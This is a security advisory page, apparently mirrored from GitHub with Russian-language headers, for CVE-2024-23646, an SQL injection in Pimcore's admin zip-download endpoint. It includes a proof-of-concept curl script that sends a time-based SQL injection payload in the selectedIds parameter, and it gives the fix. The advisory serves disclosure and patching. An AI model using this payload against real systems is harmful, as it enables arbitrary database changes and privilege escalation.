GHSA-cwx6-4wmf-c6xv

Опубликовано: 24 янв. 2024

Источник: github

Github: Прошло ревью

CVSS3: 8.8

Описание

SQL Injection in Admin download files as zip

Summary

The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details

downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:

foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } }

PoC

Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
Run the following script, substituting the values accordingly:

#!/bin/bash BASE_URL=http://localhost # REPLACE THIS! CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(select*from(select(sleep(6)))a)" curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" `

The response is delayed by 6 seconds.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Ссылки

Пакеты

Наименование

pimcore/admin-ui-classic-bundle

composer

Затронутые версииВерсия исправления

>= 1.0.0, < 1.3.2

1.3.2

EPSS

Процентиль: 34%

0.00135

Низкий

8.8 High

CVSS3

CVE ID

CVE-2024-23646

Дефекты

CWE-89

Связанные уязвимости

CVE-2024-23646

CVSS3: 8.8

nvd

около 2 лет назад

Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.

EPSS

Процентиль: 34%

0.00135

Низкий

8.8 High

CVSS3

CVE ID

CVE-2024-23646

Дефекты

CWE-89